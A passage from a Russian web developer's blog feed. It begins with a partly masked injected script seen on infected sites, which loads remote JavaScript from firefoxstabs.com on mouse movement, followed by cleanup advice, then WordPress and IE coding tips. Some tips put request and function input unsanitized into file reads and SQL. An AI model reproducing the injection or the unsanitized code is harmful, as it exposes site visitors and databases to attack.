<p>вероятнее всего  был  подсажен  експлоит или троян  потенциальной жертве, слиты  ftp доступы(например из TotalCommander) и дальше  было только  делом времени  последующее заражение сайтов.</p>
<p>Как  показал  поиск  в Инете  дело обстоит довольно  серьезно, очень много  сайтов в сети уже заражены</p>
<p><strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>сам firefoxstabs.com открывается перекидывая на  80 порт и требует авторизоваться, лезть туда не стоит.</p>
<p><strong>Как удалить  подарок от firefoxstabs.com?</strong></p>
<p>1. Я залил все  файлы  к себе (как вариант написать скрипт поиска по  серверу нужного  куска текстовой строки и вырезать прям там) и поиском нашел все  что было с заразой, примерно  20  файлов js (в теме уже поправил  3 итого  23)</p>
<p>2. Почистил все на  хостинге </p>
<p>3. Поменял пароль на  ftp, если этого не сделать  то раз  в 2-3 дня  ждите  возрождения всего что  удалил</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>WordPress wp_commentmeta  занимает много места</title>
		<link>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/</link>
		<comments>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 13:45:22 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1373</guid>
		<description><![CDATA[Обратились ко мне с проблемой по поводу WordPress. База занимала слишком много места хотя постов было около сотни + раза в два больше комментариев. Анализ показал что таблица wp_commentmeta жирна до неприличия )). В дампе занимала примерно 230 метров, в памяти сервера более гига. Как подсказали буржуйские друзья виной всему плагин Akismet, конфликтует с чем-то [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/fat1-203x300.jpg" alt="" title="Жирный  WordPress" width="203" height="300" class="aligncenter size-medium wp-image-1374" /></p>
<p>Обратились ко мне с проблемой по  поводу WordPress. База  занимала слишком много места хотя постов было около сотни + раза в два больше  комментариев.</p>
<p>Анализ показал  что таблица wp_commentmeta   жирна до неприличия )). В дампе занимала примерно  230  метров, в памяти сервера более гига.</p>
<p>Как подсказали буржуйские друзья виной всему плагин  Akismet, конфликтует с чем-то там он,  для  спама  при удалении не  зачищает метаданные спамных комментариев.</p>
<p>Лечится двумя запросами к бд.<span id="more-1373"></span></p>
<p>1. убираем все записи метаданных  для несуществующих  комментариев.</p>
<pre>DELETE FROM wp_commentmeta WHERE comment_id NOT IN (SELECT comment_id FROM wp_comments)
</pre>
<p>2. Оптимизируем  таблицы базы .</p>
<pre>OPTIMIZE TABLE *
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Contact form 7 вставка в шаблон  без  шорткода</title>
		<link>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/</link>
		<comments>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 12:59:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1367</guid>
		<description><![CDATA[Популярный плагин Contact form 7 часто применяеют на своих сайтах многие пользователи, благодаря удобному интерфейсу и простому использованию на любой странице и в любом посте можно вставить заранее подготовленную форму, используя шорткоды. Но как добавить код формы Contact form 7 непосредственно в шаблон темы? Одной строчкой кода. < ? = do_shortcode ( ' [ contact-form [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1368" title="Contact form 7 без шорткода" src="http://saintist.ru/wp-content/uploads/2011/04/screenshot-11-300x232.png" alt="" width="300" height="232" /></p>
<p>Популярный плагин  Contact form 7 часто    применяеют на своих сайтах  многие пользователи, благодаря удобному интерфейсу и простому использованию на любой странице и в любом посте можно  вставить заранее подготовленную форму, используя шорткоды.</p>
<p><strong>Но как добавить   код  формы  Contact form 7 непосредственно  в  шаблон темы?</strong> </p>
<p>Одной строчкой  кода.<br />
<span id="more-1367"></span></p>
<pre>
< ? = do_shortcode ( ' [ contact-form 1 "Форма тема для статьи" ] ' ); ? >
</pre>
<p> где
<pre>[ contact-form 1 "Форма тема для статьи" ]</pre>
<p> наш шорткод ))</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ширина выпадающего списка в select в IE</title>
		<link>http://saintist.ru/2011/04/04/shirina-vypadayushhego-spiska-v-select-v-ie/</link>
		<comments>http://saintist.ru/2011/04/04/shirina-vypadayushhego-spiska-v-select-v-ie/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 14:18:14 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE6]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1358</guid>
		<description><![CDATA[При верстке всевозможных форм при использовании выпадающих списков с заданием фиксированной ширины у select многие сталкиваются с багом. Если текст шире в option чем заданная ширина select то IE в отличие от правильных браузеров обрезает все как показано на картинке. фиксится этот баг вот каким образом. в head добавляем код &#160; &#160; &#60;!&#8212;[if IE]&#62; &#60;script [...]]]></description>
			<content:encoded><![CDATA[<p>При верстке всевозможных форм при использовании выпадающих списков с заданием  фиксированной ширины у select  многие сталкиваются с багом. Если  текст шире в option чем заданная ширина select то  IE в отличие от правильных браузеров обрезает все как показано на  картинке.<br />
<img class="aligncenter size-full wp-image-1359" title="ie select option width" src="http://saintist.ru/wp-content/uploads/2011/04/ie-select-option-width.png" alt="" width="477" height="244" /></p>
<p>фиксится  этот баг вот каким образом.<br />
<span id="more-1358"></span></p>
<p>в head добавляем код</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&lt;!&#8212;[if IE]&gt;</p>
<p>&lt;script src=&#8217;/js/dropdown_menu_hack.js&#8217;&gt;&lt;/script&gt;<br />
&lt;style type=&#8217;text/css&#8217;&gt;</p>
<p>.class-select{behavior:expression(window.dropdown_menu_hack!=null?window.dropdown_menu_hack(this):0);}</p>
<p>&lt;/style&gt;</p>
<p>&lt;![endif]&#8212;&gt;</p>
<p>&nbsp;</p>
<p>Скачать <a href="http://saintist.ru/wp-content/uploads/2011/04/dropdown_menu_hack.js" target="blank">dropdown_menu_hack.js</a></p>
<p>class-select &#8212; класс назначенный select который необходимо  адекватно выводить</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/04/shirina-vypadayushhego-spiska-v-select-v-ie/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Отличный  прием  оформления блога</title>
		<link>http://saintist.ru/2011/03/30/otlichnyj-priem-oformleniya-bloga/</link>
		<comments>http://saintist.ru/2011/03/30/otlichnyj-priem-oformleniya-bloga/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 18:54:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1351</guid>
		<description><![CDATA[Обсуждение подобного приема видел недавно в блогах на фрилансе, точнее не обсуждение, а вопрос как такое сделать. В посты вставляются цветные изображения, но в фронтенд выводятся их черно-белые копии, при наведении на которые картинки становятся цветными. Рецепт простой. js часть не буду описывать, все просто, первоначально показываем цветные картинки, при загрузке подменяем пути к картинкам [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/03/black-and-white1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/03/black-and-white1-300x222.jpg" alt="" title="цвет в черно-белое" width="300" height="222" class="aligncenter size-medium wp-image-1353" /></a><br />
Обсуждение подобного приема видел недавно  в блогах на  фрилансе, точнее не обсуждение, а  вопрос как такое сделать.<br />
В посты вставляются  цветные изображения, но в фронтенд выводятся их черно-белые  копии, при наведении на которые  картинки становятся цветными. Рецепт простой.<br />
<span id="more-1351"></span></p>
<p>js часть не буду  описывать, все просто, первоначально  показываем  цветные картинки, при загрузке подменяем пути к картинкам на   пути к нашему php  скрипту куда скармливается путь к первичному файлу  картинки, скрипт делает нужные манипуляции с  изображением, превращает их в  черно-белые,  и отдает  пользователю.</p>
<pre>
if($_GET['src'])
{
	$sourse = $_GET['src'];
	$img_size = GetImageSize($sourse);
	$w = $img_size[0];
	$h = $img_size[1];

	$dest = ImageCreateFromJpeg($sourse);
	$src = ImageCreateFromJpeg($sourse);

	imagecopymergegray($dest, $src, 0, 0, 0, 0, $w, $h, 0);

	header('Content-Type: image/jpeg');
	imagejpeg($dest);

	imagedestroy($dest);
	imagedestroy($src);

}
</pre>
<p>чтоб каждый раз не грузить хостинг можно реализовать простой кеш, складируя  готовые ч/б картинки в  отдельную папку</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/30/otlichnyj-priem-oformleniya-bloga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress удалить ссылку читать далее</title>
		<link>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/</link>
		<comments>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 10:29:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1346</guid>
		<description><![CDATA[Уже был пост по то как отключить вывод ссылок [Читать далее] в списке постов. Этот способ отключает ссылку read more через фильтры, также через него можно при желании кастомизировать внешний вид ссылки. Удаляем ссылку читать далее function clear_more_link() { return false; } add_filter('the_content_more_link', 'clear_more_link'); а таким образом выводим ссылку своего вида function custom_more_link($post){ return ' [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/readmore1.jpg" alt="" title="wordpress read more" width="200" height="200" class="aligncenter size-full wp-image-1347" /><br />
Уже  был  пост по  то  как отключить вывод  ссылок  [Читать далее] в списке постов. Этот способ  отключает ссылку read more через  фильтры, также через него можно при желании  кастомизировать внешний вид ссылки.<br />
<span id="more-1346"></span></p>
<p>Удаляем ссылку читать далее</p>
<pre>
function clear_more_link() { return false; }
add_filter('the_content_more_link', 'clear_more_link');
</pre>
<p>а таким образом  выводим ссылку своего  вида</p>
<pre>
function custom_more_link($post){
    return ' html  код  ссылки';
}
add_filter('the_content_more_link', 'custom_more_link');
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress поалфавитный вывод постов</title>
		<link>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/</link>
		<comments>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/#comments</comments>
		<pubDate>Sat, 26 Mar 2011 22:27:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1342</guid>
		<description><![CDATA[Поставлена задача организовать поалфавитный вывод постов. Т.е. необходимо реализовать следующий функционал. Список ссылок вида а, б, в, г, д и т.п. и чтобы при переходе по таким ссылкам выводились список постов начинающиеся на указанный символ. Делюсь простым и элегантным решением. Все будет завязано на стандартном поиске WordPress/ Делаем вывод нашего поалфавитного меню наш &#171;алфавитный набор [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/post_pete-karras-abc-alphabetic-art1.jpg" alt="" title="алфавитный вывод постов" width="300" height="250" class="aligncenter size-full wp-image-1343" /><br />
Поставлена задача организовать поалфавитный вывод постов. Т.е.  необходимо реализовать следующий функционал. Список  ссылок вида а, б, в, г, д и т.п. и чтобы  при переходе по таким ссылкам  выводились  список постов начинающиеся на указанный символ.</p>
<p>Делюсь простым и элегантным решением.<br />
<span id="more-1342"></span></p>
<p>Все будет завязано на  стандартном поиске WordPress/</p>
<p>Делаем вывод  нашего поалфавитного меню</p>
<p>наш &#171;алфавитный набор символов&#187; </p>
<pre>$alphabetic_string='абвгд'; </pre>
<p>разбиваем строку в  массив</p>
<pre>
$alphabetic_string = preg_split('//u',$alphabetic_string,-1,PREG_SPLIT_NO_EMPTY);
</pre>
<p>в цикле  генерим  ссылки вида url_сайта?s=наша_буква</p>
<p>теперь основной момент</p>
<p>результаты будут выводиться на странице результатов поиска темы.<br />
немного модифицируем ее код</p>
<p>до  блока перебора  перебора постов добавим условие если  строка поиска  состоит из  одного символа то  выполняем  код</p>
<pre>
$first_char = urldecode(get_query_var('s'));
$query = $GLOBALS['wp_query'];
$postids=$wpdb->get_col($wpdb->prepare("
SELECT      ID
FROM        $wpdb->posts
WHERE       SUBSTR($wpdb->posts.post_title,1,1) = %s
ORDER BY    $wpdb->posts.post_title",$first_char));
if ($postids) {
$args=array(
  'post__in' => $postids,
  'post_type' => 'post',
  'post_status' => 'publish',
  'caller_get_posts'=> 1,
  'orderby'=>'title',
  'order'=>'asc',
  'paged'=>$query->get( 'paged' )
);
query_posts($args);
</pre>
<p>решение поддерживает пагинацию</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Обрезка  первых  n слов</title>
		<link>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/</link>
		<comments>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 21:52:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1336</guid>
		<description><![CDATA[Случается необходимость вывода четко заданного количества слов из сообщения в посте. Эта функция облегчит задачу. function get_word_content($limit) { $permalink = get_permalink(); global $post; $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'... [код ссылки]'; } else { $content = implode(" ",$content); } $content = preg_replace('/\[.+\]/','', $content); $content = apply_filters('the_content', $content); [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/581px-Word_Count_1800.svg1_-300x173.png" alt="" title="первые т слов wordpress" width="300" height="173" class="aligncenter size-medium wp-image-1337" /><br />
Случается необходимость вывода четко заданного количества слов из  сообщения в посте.<br />
Эта функция облегчит  задачу.<br />
<span id="more-1336"></span></p>
<pre>
function get_word_content($limit) {
  $permalink = get_permalink();
  global $post;
  $content = explode(' ', get_the_content(), $limit);
  if (count($content)>=$limit) {
    array_pop($content);
    $content = implode(" ",$content).'... [код ссылки]';
  } else {
    $content = implode(" ",$content);
  }
  $content = preg_replace('/\[.+\]/','', $content);
  $content = apply_filters('the_content', $content);
  $content = str_replace(']]&gt;', ']]&gt;', $content);
  return $content;
}
</pre>
<p>а это для  excerpt</p>
<pre>
function excerpt($limit) {
  $excerpt = explode(' ', get_the_excerpt(), $limit);
  if (count($excerpt)>=$limit) {
    array_pop($excerpt);
    $excerpt = implode(" ",$excerpt).'...';
  } else {
    $excerpt = implode(" ",$excerpt);
  }
  $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt);
  return $excerpt;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wordpress пагинация, номер текущей страницы</title>
		<link>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/</link>
		<comments>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 09:17:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1326</guid>
		<description><![CDATA[При выводе большого количества постов через query_posts на странице сталкиваемся с проблемой определения номера текущей страницы, существует несколько решений, но есть одно универсальное. $query = $GLOBALS['wp_query']; $paged = $query->get( ‘paged’ );]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/pagenavi-300x23.png" alt="" title="pagenavi current page" width="300" height="23" class="aligncenter size-medium wp-image-1327" /><br />
При выводе большого  количества постов  через query_posts на странице сталкиваемся с проблемой определения  номера текущей страницы, существует несколько решений, но есть одно  универсальное.<br />
<span id="more-1326"></span><br />
<strong>$query = $GLOBALS['wp_query'];<br />
$paged = $query->get( ‘paged’ );</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Закругленные углы  в IE</title>
		<link>http://saintist.ru/2011/03/21/zakruglennye-ugly-v-ie/</link>
		<comments>http://saintist.ru/2011/03/21/zakruglennye-ugly-v-ie/#comments</comments>
		<pubDate>Sun, 20 Mar 2011 22:21:22 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE6]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Верстка]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[roundedcorners]]></category>
		<category><![CDATA[круглые углы]]></category>
		<category><![CDATA[сыы]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1318</guid>
		<description><![CDATA[Вернусь к всем остобрыдлой теме про закругленные углы в Интернет Експлорере. Несмотря на то что процент пользователей &#171;самого лучшего браузера&#187; неуклонно снижается всеже есть клиенты требующие всевозможные округлости у плашек в верстке и т.п. Техник существует великое множество от уличной магии с картинками и т.п. до вполне эффективной лобовой атаки через javascript. Исходя из того [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1319" title="roundedcorners[1]" src="http://saintist.ru/wp-content/uploads/2011/03/roundedcorners1-300x51.png" alt="" width="300" height="51" /><br />
Вернусь к всем остобрыдлой теме про закругленные углы в Интернет Експлорере. Несмотря на то  что  процент  пользователей &#171;самого лучшего браузера&#187;  неуклонно  снижается всеже есть  клиенты требующие всевозможные округлости у плашек в верстке и т.п. Техник  существует великое множество от   уличной магии с  картинками и т.п. до  вполне эффективной  лобовой атаки через javascript. Исходя из  того  что  на IE мне  наплевать  и особой разницы я не вижу в том какие методы выбрать для скругления углов в IE, так как основные приоритеты для меня скорость  реализациии и ее действенность то  буду  использовать   javascript.<br />
Сразу  оговорюсь  для тех  у кого  ранимая психика и  они привыкли искать  универсальные изящные  решения, вам не стоит дальше читать этот пост, для остальных  милости прошу.<br />
<span id="more-1318"></span><br />
Итак что нам  понадобиться.</p>
<p>1. Чтобы все красиво выглядело в  head  добавим тег</p>
<p style="text-align: left;"><strong>&lt;meta http-equiv=&#187;X-UA-Compatible&#187; content=&#187;IE=EmulateIE7&#8243;/&gt;</strong></p>
<p>2. Через  условные комментарии исключительно для  IE  в head подключаем загрузку js библиотеку от <strong>Drew Diller</strong>,  низкий ему поклон, удружил так удружил, что мы бы делали без него.</p>
<p>&lt;script type=&#187;text/javascript&#187;&gt;<br />
var sukaIE=false;</p>
<p>&lt;/script&gt;</p>
<p>&lt;!&#8212;[if IE]&gt;<br />
&lt;script type=&#187;text/javascript&#187; src=&#187;<a href="http://saintist.ru/wp-content/uploads/2011/03/DD_roundies_0.0.2a-min.js">DD_roundies_0.0.2a-min.js&#187;</a>&gt;&lt;/script&gt;</p>
<p>&lt;script type=&#187;text/javascript&#187;&gt;<br />
var sukaIE=true;</p>
<p>DD_roundies.addRule(&#8216;#sidebar-top&#8217;, &#8217;16px&#8217;);</p>
<p>&lt;/script&gt;</p>
<p>&lt;![endif]&#8212;&gt;</p>
<p>и все, при загрузку в IE  на странице у объекта #sidebar-top уголки станут  радиусом 16px, если нужно разные задать размеры скругления то пишем <strong>DD_roundies.addRule(&#8216;#sidebar-top&#8217;, &#8217;16px 17px 18px 19px&#8217;);</strong></p>
<p>еще один момент</p>
<p>скрипты срабатывают у нас при загрузке что делать если  контент генерится динамически и  нужно как-то  отловить IE?</p>
<p>если внимательно посмотреть код  то видно что  до  условных  комментариев у меня определяется переменная <strong>sukaIE</strong> <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />   а в условных  этой переменной присваивается true, соответственно  при  создании чего-то через динамику, нужно будет дополнительно проверять эту переменную и  у нужных  объектов  включать через DD_roundies округления в IE уголков</p>
<p>ps: метод несомненно трешевый и уж сильно  смахивает на говнокод, что в принципе оно и есть  как скажут ранимые натуры)), но  в ситуации когда   важно  время и  скорость  оправдывает себя, и показывает как отличное  решение  в битве с IE.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/21/zakruglennye-ugly-v-ie/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress список тегов категории</title>
		<link>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/</link>
		<comments>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/#comments</comments>
		<pubDate>Thu, 17 Mar 2011 15:43:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp_tag]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1311</guid>
		<description><![CDATA[Еще одна хорошая процедура возвращающая список тегов в указанных категориях в виде массива объектов function get_tags_category($args) { global $wpdb,$table_prefix; $tags = $wpdb->get_results (" SELECT DISTINCT terms2.term_id as tag_id, terms2.name as tag_name, t2.count as count FROM wp_posts as p1 LEFT JOIN ".$table_prefix."term_relationships as r1 ON p1.ID = r1.object_ID LEFT JOIN ".$table_prefix."term_taxonomy as t1 ON r1.term_taxonomy_id = [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/Wordpress-Tags-Plugins1-300x192.png" alt="" title="Wordpress список тегов из категории" width="300" height="192" class="aligncenter size-medium wp-image-1312" /><br />
Еще одна хорошая процедура возвращающая список тегов в указанных категориях в виде  массива объектов<br />
<span id="more-1311"></span></p>
<pre>
function get_tags_category($args) {
	global $wpdb,$table_prefix;
	$tags = $wpdb->get_results
	("
		SELECT DISTINCT  terms2.term_id as tag_id, terms2.name as tag_name, t2.count as count
		FROM
			wp_posts as p1
			LEFT JOIN ".$table_prefix."term_relationships as r1 ON p1.ID = r1.object_ID
			LEFT JOIN ".$table_prefix."term_taxonomy as t1 ON r1.term_taxonomy_id = t1.term_taxonomy_id
			LEFT JOIN ".$table_prefix."terms as terms1 ON t1.term_id = terms1.term_id,

			wp_posts as p2
			LEFT JOIN ".$table_prefix."term_relationships as r2 ON p2.ID = r2.object_ID
			LEFT JOIN ".$table_prefix."term_taxonomy as t2 ON r2.term_taxonomy_id = t2.term_taxonomy_id
			LEFT JOIN ".$table_prefix."terms as terms2 ON t2.term_id = terms2.term_id
		WHERE
			t1.taxonomy = 'category' AND p1.post_status = 'publish' AND terms1.term_id IN (".$args['categories'].") AND
			t2.taxonomy = 'post_tag' AND p2.post_status = 'publish'
			AND p1.ID = p2.ID
		ORDER by tag_name
	");
	$count = 0;
	foreach ($tags as $tag) {
		$tags[$count]->tag_link = get_tag_link($tag->tag_id);
		$count++;
	}
	return $tags;
}
</pre>
<p>используется   вот так, в качестве аргумента  задаем масив  с перечислением  id катеорий из которых взять теги</p>
<pre>
$tags=get_tags_category(array('categories'=>'2,10,88'));
</pre>
<p>в результат получим  id тега, название, ссылку на страницу тега и количество постов</p>
<pre>
Array
(
    [0] => stdClass Object
        (
            [tag_id] => 13
            [tag_name] => Land Rover
            [count] => 1
            [tag_link] => http://site-ugodno.ru/tag/land-rover/
        )

    [1] => stdClass Object
        (
            [tag_id] => 12
            [tag_name] => Mersedes
            [count] => 1
            [tag_link] => http://site-ugodno.ru/tag/mersedes/
        )

    [2] => stdClass Object
        (
            [tag_id] => 11
            [tag_name] => Porsche Cayenne
            [count] => 1
            [tag_link] => http://site.ru/tag/porsche-cayenne/
        )

)
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress количество  постов  в категории</title>
		<link>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/</link>
		<comments>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/#comments</comments>
		<pubDate>Wed, 16 Mar 2011 19:08:09 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1305</guid>
		<description><![CDATA[полезная функция для получения количества постов в категории function wt_get_category_count($input = '') { global $wpdb; if($input == '') { $category = get_the_category(); return $category[0]->category_count; } elseif(is_numeric($input)) { $request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input"; return $wpdb->get_var($request); } else { $request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug='$input'"; return [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/wp-tips1-300x165.jpg" alt="Количество  постов в категории WordPress" title="Количество  постов в категории WordPress" width="300" height="165" class="aligncenter size-medium wp-image-1306" /><br />
полезная функция для получения количества постов в категории<br />
<span id="more-1305"></span></p>
<pre>

function wt_get_category_count($input = '') {
global $wpdb;
if($input == '')
{
$category = get_the_category();
return $category[0]->category_count;
}
elseif(is_numeric($input))
{
$request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input";
return $wpdb->get_var($request);
}
else
{
$request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug='$input'";
return $wpdb->get_var($request);
}
}

<!-- в текущей категории -->
<?php echo wt_get_category_count(); ?>
<!-- Gв категории с id  1 -->
<?php echo wt_get_category_count(1); ?>
<!-- в категории с url именем -->
<?php echo wt_get_category_count('hello-world'); ?>
</pre>
<p>И небольшой бонус, как сделать вывод в разных  категориях разного количества постов на страницу</p>
<p>пишем в functions.php небольшое правило</p>
<pre>
add_action('pre_get_posts', 'diff_post_count_per_cat');

function diff_post_count_per_cat() {
    if (is_admin()) return;

    $cat = get_query_var('category_name');
    switch ($cat) {
        case 'wordpress':
            set_query_var('posts_per_page', 5);
            break;
        case 'wordpress/news':
            set_query_var('posts_per_page', 2);
            break;
    }
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JSON is undefined</title>
		<link>http://saintist.ru/2011/02/25/json-is-undefined/</link>
		<comments>http://saintist.ru/2011/02/25/json-is-undefined/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 21:01:37 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE8]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1298</guid>
		<description><![CDATA[JSON is undefined такую замечательную фразу выплюнул дебагер IE8 в процессе разработки очередного сайта. Все оказалось довольно тривиально. Поддержка JSON-объектов в Internet Explorer 8 реализована поддержка JSON-обекта в соответствии со спецификацией ES3.1 Proposal Working Draft. В ряде случаев, особенно при обработке AJAX-кода, могут возникать ошибки. Большинство готовых решений на js этот нюанс не учитывают и [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/02/JSON_IE8_ERROR.gif"><img src="http://saintist.ru/wp-content/uploads/2011/02/JSON_IE8_ERROR.gif" alt="JSON is undefined" title="JSON is undefined" width="180" height="82" class="aligncenter size-full wp-image-1299" /></a><br />
<strong>JSON is undefined</strong> такую замечательную   фразу  выплюнул  дебагер IE8  в  процессе разработки очередного сайта.</p>
<p>Все оказалось довольно тривиально.<br />
<span id="more-1298"></span></p>
<p>Поддержка JSON-объектов в Internet Explorer 8 реализована поддержка JSON-обекта в соответствии со спецификацией ES3.1 Proposal Working Draft. В ряде случаев, особенно при обработке AJAX-кода, могут возникать ошибки. </p>
<p>Большинство  готовых решений на  js  этот нюанс не  учитывают и  из-за этого конфликтуют.</p>
<p>Лечится все  малой кровью.</p>
